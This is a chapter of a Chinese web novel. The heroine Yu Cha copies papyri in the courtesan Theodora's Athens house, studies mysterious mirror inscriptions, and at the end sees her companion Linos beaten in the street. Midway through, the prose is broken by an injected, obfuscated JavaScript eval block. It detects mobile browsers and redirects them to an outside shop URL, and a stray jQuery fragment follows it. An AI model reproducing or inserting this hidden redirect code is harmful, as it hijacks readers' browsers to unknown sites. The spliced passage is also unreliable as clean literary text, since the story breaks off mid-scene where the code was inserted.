雅典的阳光比克里特更烈，也更白。
余茶站在狄奥多拉住所二楼的书房里，推开木窗，让午后的光线洒在铺满纸莎草卷的长桌上。窗外是陶器区的喧嚣——陶工的转盘声、窑火的噼啪声、商贩的叫卖声，混杂着驴子的嘶鸣，从狭窄的街道涌上来，像一锅永远煮沸的杂烩汤。
一年了。
她低头看着自己的左手。指节比一年前更粗，指尖磨出了茧——那是日夜抄写纸莎草卷留下的痕迹。左腿站着久了还是会隐隐作痛，但至少能正常走路。克里特岛的医者判断失误，那条腿保住了，只是从此走路带着轻微的跛，每一步都像在提醒她：你付过代价了。
代价。
她转过身，走回长桌前。桌上摊着她这一年所有的成果——十几张精心抄录的纸莎草，上面是她临摹的铜镜背面铭文拓片。三圈铭文：内圈系统符号，中圈是古老变体，外圈类甲骨文。
一年了，她只破解了不到三分之一。
内圈的符号她认出了一些——与星之眼石室中灌入她脑海的知识碎片吻合，是母神文明用来标记节点和能量流向的专用符号。中圈的变体，经过无数个夜晚的比对，她终于确认那是前荷马时代的一种祭祀密文，只在少数神庙的隐秘文献中出现过，记录的是被正统神话排除的内容。
外圈……几乎毫无进展。那些类甲骨文的刻痕，她只能认出几个反复出现的符号，可能与“东方”“太阳”“山”有关。但具体是什么意思，还需要更多的文献。
门外传来脚步声。余茶没有回头，她知道是谁。
“又在看这些？”
狄奥多拉的声音带着惯常的慵懒和一丝调侃。她走进书房，身上的香料味立刻充满了整个房间——不是那种浓烈的、廉价的香水，而是来自东方的没药和乳香，淡而悠远，像她的笑容一样让人捉摸不透。
余茶转过身。狄奥多拉今天穿着一件几乎透明的科斯岛野蚕丝制作的长袍，腰系金带，发髻高挽，露出修长的脖颈和耳垂上那对精致的金耳环。她比一年前更美了——或者说，更懂得如何运用自己的美。在雅典，美就是权力。
“普罗塔戈拉让人送来一卷新写的文章，”狄奥多拉走到长桌前，将一卷莎草纸随意扔在桌上，“关于诸神是否存在的那个论题。他要我抄一份，送给伯里克利的妻子。”
余茶看了一眼那卷莎草纸。普罗塔戈拉，雅典最著名的智者之一，狄奥多拉的情人之一，虽然没有被公开承认。余茶从不打听他们之间的事。在雅典这一年，她学会的最重要的事就是：不要问，不要说，只做事。
“我下午抄。”余茶说。
狄奥多拉走到窗边，倚着窗框，看着楼下熙熙攘攘的街道。午后的阳光在她脸上投下金色的光晕，美得像一尊雕塑。
“你还在想着那些符号？”她问，没有回头。
“一直在想。”
“一年了。”
“也许需要十年。”
狄奥多拉转过身，看着她。那双眼睛很特别——不是单纯的美丽，而是带着一种洞察一切的锐利，藏在慵懒的表面下，像猫的眼睛。
“你知道他们怎么说你吗？”
余茶等着她说下去。
“他们说，狄奥多拉新买了一个外邦奴隶，身材又矮又平，走路一瘸一拐，除了一头黝黑的长发和白皙的皮肤，一无是处，不知道用来干什么？”狄奥多拉嘴角勾起一丝笑意，“还有人说我疯了，放着那么多漂亮姑娘不要，偏要养一个……”
“我不是奴隶。”余茶平静地打断她。
“我知道。”狄奥多拉走过来，在她对面坐下，“你是阿尔克提斯托付给我的人。但别人不知道。他们只看到你每天进出我的房子，抄写文书，整理书房，从不参加宴饮，从不和任何人交谈。在他们眼里，你就是个古怪的外邦侍女。”
余茶没有说话。
“你不打算解释？”
“解释什么？”
狄奥多拉看着她，眼中闪过一丝欣赏。
“我越来越喜欢你了。”她说，“雅典的男人都太能说。一张嘴，可以把黑的说成白的，死的说成活的。女人也一样——我们这些所谓的高级伴侣，每个人都以为自己是个哲学家，张嘴就是哲学家说过什么。你不一样。你沉默。沉默的女人让人好奇。”
余茶拿起桌上的芦苇笔，开始蘸墨水。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226113|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“普罗塔戈拉的那篇文章，我现在抄。”
狄奥多拉站起身，走到门口，又停下。
“今晚有个宴饮，”她说，“伯里克利会来，还有菲狄亚斯，以及几个从米利都来的客人。你来吗？”
余茶抬头看着她。
“你需要我？”
“我需要一个帮我记录的人。”狄奥多拉说，“那些人的话，有时候比黄金还值钱。记下来，也许以后有用。”
余茶点了点头。
“我会去。”
狄奥多拉消失在门外。余茶低头看着面前的莎草纸，开始抄写普罗塔戈拉的文章。她的希腊文读写已经非常流利——这一年，她抄了几十卷书，从荷马史诗到自然哲学，从祭祀仪轨到城邦律法。她像一个海绵，贪婪地吸收着这个文明的一切。
但她的脑子里，始终转着那些铜镜上的符号。
东方。
那个方向，有另一种文明，另一种文字，另一种这里完全不了解的历史，可能是古老的中国，可能有她回家的线索。而那个冰灰色眼睛的年轻人——入侵者——也在寻找那里。他拿走了铜镜，也许已经走在了她前面。
她必须加快速度。
但怎么加快？雅典的图书馆她几乎翻遍了，所有能接触到的文献都查过，没有任何关于那种类甲骨文符号的记录。唯一可能的线索，是狄奥多拉偶尔提到的那些从东方来的商人——波斯人、吕底亚人、甚至更遥远的巴克特里亚人。但他们带来的货物里，从来没有文字。
也许她需要等。
也许她需要主动去找。
也许……
窗外传来一阵骚动。余茶走到窗边，向下望去。
街道上，一群人正在围观什么。一个衣衫褴褛的男人倒在地上，浑身是血，周围站着几个穿皮甲的士兵。有人在喊“抓奸细”，有人在喊“打死他”。
余茶正要移开目光，突然愣住了。
那个倒在地上的人，虽然满脸血污，但她认出了那双眼睛。
淡琥珀色的眼睛。
利诺斯。
她猛地转身，扔下芦苇笔，一瘸一拐地冲下楼去。